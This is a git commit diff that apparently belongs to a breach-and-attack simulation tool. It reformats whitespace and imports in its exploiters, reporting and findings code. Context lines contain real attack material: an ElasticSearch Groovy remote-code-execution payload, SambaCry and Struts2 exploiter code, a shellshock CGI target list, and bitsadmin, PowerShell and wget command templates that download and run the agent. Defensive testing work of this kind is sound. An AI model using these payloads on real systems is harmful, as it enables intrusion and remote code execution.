Whitespace and imports fixes

This commit is contained in:
Shay Nehmad 2019-10-28 16:14:52 +02:00
parent a9a3c7705e
commit cd3835a42e
28 changed files with 593 additions and 527 deletions

View File

@ -29,8 +29,8 @@ class AwsInstance(object):
self.instance_id = urllib.request.urlopen( self.instance_id = urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode() AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
self.region = self._parse_region( self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read(). urllib.request.urlopen(
decode()) AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode())
except (urllib.error.URLError, IOError) as e: except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))

View File

@ -68,7 +68,8 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
TEST_EXPLANATION_KEY = "explanation" TEST_EXPLANATION_KEY = "explanation"
TESTS_MAP = { TESTS_MAP = {
TEST_SEGMENTATION: { TEST_SEGMENTATION: {
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
"running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
@ -78,7 +79,8 @@ TESTS_MAP = {
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
}, },
TEST_MALICIOUS_ACTIVITY_TIMELINE: { TEST_MALICIOUS_ACTIVITY_TIMELINE: {
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
"exploitation.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
}, },
@ -89,8 +91,10 @@ TESTS_MAP = {
TEST_ENDPOINT_SECURITY_EXISTS: { TEST_ENDPOINT_SECURITY_EXISTS: {
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.", TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." "software on endpoints.",
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
"security concern. "
}, },
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
PILLARS_KEY: [DEVICES], PILLARS_KEY: [DEVICES],
@ -99,7 +103,8 @@ TESTS_MAP = {
TEST_MACHINE_EXPLOITED: { TEST_MACHINE_EXPLOITED: {
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.", TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
"which endpoints were compromised.",
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
}, },
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
@ -109,7 +114,8 @@ TESTS_MAP = {
TEST_SCHEDULED_EXECUTION: { TEST_SCHEDULED_EXECUTION: {
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.", STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
"software.",
STATUS_PASSED: "Monkey failed to execute in a scheduled manner." STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
}, },
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
@ -120,7 +126,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.", TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
"that indicate attempts to access them. "
}, },
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA], PILLARS_KEY: [DATA],
@ -130,7 +137,8 @@ TESTS_MAP = {
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.", TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
"attempts to access them. "
}, },
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
PILLARS_KEY: [DATA], PILLARS_KEY: [DATA],
@ -139,7 +147,8 @@ TESTS_MAP = {
TEST_TUNNELING: { TEST_TUNNELING: {
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
"restrict them. "
}, },
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
@ -148,7 +157,8 @@ TESTS_MAP = {
TEST_COMMUNICATE_AS_NEW_USER: { TEST_COMMUNICATE_AS_NEW_USER: {
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.", TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
FINDING_EXPLANATION_BY_STATUS_KEY: { FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
"restrict them to MAC only.",
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
}, },
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,

View File

@ -1,10 +1,12 @@
# abstract, static method decorator # abstract, static method decorator
# noinspection PyPep8Naming
class abstractstatic(staticmethod): class abstractstatic(staticmethod):
__slots__ = () __slots__ = ()
def __init__(self, function): def __init__(self, function):
super(abstractstatic, self).__init__(function) super(abstractstatic, self).__init__(function)
function.__isabstractmethod__ = True function.__isabstractmethod__ = True
__isabstractmethod__ = True __isabstractmethod__ = True

View File

@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE):
# attack URLs # attack URLs
MONKEY_RESULT_FIELD = "monkey_result" MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_CMD = GENERIC_QUERY \ JAVA_CMD = \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Elastic search' _EXPLOITED_SERVICE = 'Elastic search'

View File

@ -448,7 +448,12 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else: else:
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, return SambaCryExploiter.create_smb(
smb_client,
treeId,
pathName,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0) fileAttributes=0)

View File

@ -1,7 +1,8 @@
# resource for shellshock attack # resource for shellshock attack
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list # copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
CGI_FILES = (r'/', CGI_FILES = (
r'/',
r'/admin.cgi', r'/admin.cgi',
r'/administrator.cgi', r'/administrator.cgi',
r'/agora.cgi', r'/agora.cgi',
@ -403,4 +404,5 @@ CGI_FILES = (r'/',
r'/webtools/bonsai/showcheckins.cgi', r'/webtools/bonsai/showcheckins.cgi',
r'/wwwadmin.cgi', r'/wwwadmin.cgi',
r'/wwwboard.cgi', r'/wwwboard.cgi',
r'/wwwboard/wwwboard.cgi') r'/wwwboard/wwwboard.cgi'
)

View File

@ -3,13 +3,14 @@
code used is from https://www.exploit-db.com/exploits/41570/ code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10 Vulnerable struts2 versions <=2.3.31 and <=2.5.10
""" """
import urllib.request, urllib.error, urllib.parse
import http.client import http.client
import unicodedata import logging
import re import re
import ssl import ssl
import urllib.error
import urllib.parse
import urllib.request
import logging
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
__author__ = "VakarisZ" __author__ = "VakarisZ"

View File

@ -1,14 +1,16 @@
import logging import logging
import os import os
import os.path import os.path
import urllib.request, urllib.parse, urllib.error import urllib.error
import urllib.parse
import urllib.request
from threading import Lock from threading import Lock
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
__author__ = 'itamar' __author__ = 'itamar'

View File

@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter):
password_hashed = self._config.hash_sensitive_data(password) password_hashed = self._config.hash_sensitive_data(password)
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed) creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging) LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
wmi_connection = WmiTools.WmiConnection() wmi_connection = WmiTools.WmiConnection()

View File

@ -1,5 +1,3 @@
import argparse import argparse
import json import json
import logging import logging
@ -23,8 +21,11 @@ LOG = None
LOG_CONFIG = {'version': 1, LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False, 'disable_existing_loggers': False,
'formatters': {'standard': { 'formatters': {
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, 'standard': {
'format':
'%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'
},
}, },
'handlers': {'console': {'class': 'logging.StreamHandler', 'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG', 'level': 'DEBUG',

View File

@ -11,11 +11,14 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' '/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
# Commands used for downloading monkeys # Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
"monkey_path)s\' -UseBasicParsing\" "
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s" CHMOD_MONKEY = "chmod +x %(monkey_path)s"

View File

@ -34,7 +34,6 @@ class VirtualFile(BytesIO):
return path in VirtualFile._vfs return path in VirtualFile._vfs
def getsize(path): def getsize(path):
if path.startswith(MONKEYFS_PREFIX): if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path) return VirtualFile.getsize(path)

View File

@ -8,6 +8,7 @@ def _run_netsh_cmd(command, args):
if value])), stdout=subprocess.PIPE) if value])), stdout=subprocess.PIPE)
return cmd.stdout.read().strip().lower().endswith('ok.') return cmd.stdout.read().strip().lower().endswith('ok.')
class FirewallApp(object): class FirewallApp(object):
def is_enabled(self, **kwargs): def is_enabled(self, **kwargs):
return False return False

View File

@ -20,7 +20,6 @@ LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger): class PingScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = '' _SCANNED_SERVICE = ''
def __init__(self): def __init__(self):
@ -49,14 +48,12 @@ class PingScanner(HostScanner, HostFinger):
if not "win32" == sys.platform: if not "win32" == sys.platform:
timeout /= 1000 timeout /= 1000
sub_proc = subprocess.Popen(["ping", sub_proc = subprocess.Popen(
PING_COUNT_FLAG, ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
"1",
PING_TIMEOUT_FLAG,
str(timeout), host.ip_addr],
stdout=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stderr=subprocess.PIPE,
text=True) text=True
)
output = " ".join(sub_proc.communicate()) output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output) regex_result = self._ttl_regex.search(output)

View File

@ -30,7 +30,7 @@ class Packet:
return b"".join(content_list) return b"".join(content_list)
##### SMB Packets ##### # SMB Packets
class SMBHeader(Packet): class SMBHeader(Packet):
fields = odict([ fields = odict([
("proto", b"\xff\x53\x4d\x42"), ("proto", b"\xff\x53\x4d\x42"),
@ -92,7 +92,13 @@ class SMBSessionFingerData(Packet):
("capabilities", b"\xd4\x00\x00\xa0"), ("capabilities", b"\xd4\x00\x00\xa0"),
("bcc1", ""), ("bcc1", ""),
("Data", ("Data",
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"), b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
]) ])

View File

@ -25,7 +25,8 @@ class TcpScanner(HostScanner, HostFinger):
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration. Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
:param host: VictimHost structure :param host: VictimHost structure
:param only_one_port: Currently unused. :param only_one_port: Currently unused.
:return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive. :return: T/F if there is at least one open port.
In addition, the host object is updated to mark those services as alive.
""" """
# maybe hide under really bad detection systems # maybe hide under really bad detection systems

View File

@ -84,7 +84,7 @@ class TestMonkey(IslandTestCase):
self.clean_monkey_db() self.clean_monkey_db()
linux_monkey = Monkey(guid=str(uuid.uuid4()), linux_monkey = Monkey(guid=str(uuid.uuid4()),
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64") description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu")
windows_monkey = Monkey(guid=str(uuid.uuid4()), windows_monkey = Monkey(guid=str(uuid.uuid4()),
description="Windows bla bla bla") description="Windows bla bla bla")
unknown_monkey = Monkey(guid=str(uuid.uuid4()), unknown_monkey = Monkey(guid=str(uuid.uuid4()),

View File

@ -1,18 +1,18 @@
from datetime import datetime
import logging import logging
import threading import threading
from datetime import datetime
import flask_restful import flask_restful
from flask import request, make_response, jsonify from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.report import ReportService from monkey_island.cc.services.reporting.report import ReportService
from monkey_island.cc.services.attack.attack_report import AttackReportService from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports safe_generate_reports
from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.database import Database
__author__ = 'Barak' __author__ = 'Barak'

View File

@ -75,7 +75,10 @@ class AttackReportService:
Gets timestamp of latest attack telem Gets timestamp of latest attack telem
:return: timestamp of latest attack telem :return: timestamp of latest attack telem
""" """
return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0] return [
x['timestamp'] for x in
mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)
][0]
@staticmethod @staticmethod
def get_latest_report(): def get_latest_report():

View File

@ -122,11 +122,16 @@ class ConfigService:
@staticmethod @staticmethod
def ssh_add_keys(public_key, private_key, user, ip): def ssh_add_keys(public_key, private_key, user, ip):
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], if not ConfigService.ssh_key_exists(
False, False), user, ip): ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], False, False), user, ip):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', ConfigService.add_item_to_config_set(
{"public_key": public_key, "private_key": private_key, 'internal.exploits.exploit_ssh_keys',
"user": user, "ip": ip}) {
"public_key": public_key,
"private_key": private_key,
"user": user, "ip": ip
}
)
@staticmethod @staticmethod
def ssh_key_exists(keys, user, ip): def ssh_key_exists(keys, user, ip):

View File

@ -148,8 +148,8 @@ class AWSExporter(Exporter):
severity=5, severity=5,
title="Weak segmentation - Machines were able to communicate over unused ports.", title="Weak segmentation - Machines were able to communicate over unused ports.",
description="Use micro-segmentation policies to disable communication other than the required.", description="Use micro-segmentation policies to disable communication other than the required.",
recommendation="Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" recommendation="Machines are not locked down at port level. "
.format(issue['machine'], issue['dest']), "Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -160,10 +160,12 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding( return AWSExporter._build_generic_finding(
severity=10, severity=10,
title="Samba servers are vulnerable to 'SambaCry'", title="Samba servers are vulnerable to 'SambaCry'",
description="Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up." \ description="Change {0} password to a complex one-use password that is not shared with other computers on the "
.format(issue['username']), "network. Update your Samba server to 4.4.14 and up, "
recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format( "4.5.10 and up, or 4.6.4 and up.".format(issue['username']),
issue['machine'], issue['ip_address'], issue['username']), recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB "
"protocol with user {2} and its password, and used the SambaCry "
"vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -174,10 +176,10 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding( return AWSExporter._build_generic_finding(
severity=5, severity=5,
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
issue['username']), "network.".format(issue['username']),
recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format( recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over "
issue['machine'], issue['ip_address'], issue['username']), "SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -188,10 +190,11 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding( return AWSExporter._build_generic_finding(
severity=1, severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
issue['username']), "network.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format( recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH"
issue['machine'], issue['ip_address'], issue['username']), " protocol with user {2} and its "
"password.".format(issue['machine'], issue['ip_address'], issue['username']),
instance_arn=instance_arn, instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
) )
@ -203,8 +206,11 @@ class AWSExporter(Exporter):
severity=1, severity=1,
title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with private key {ssh_key}.".format( recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
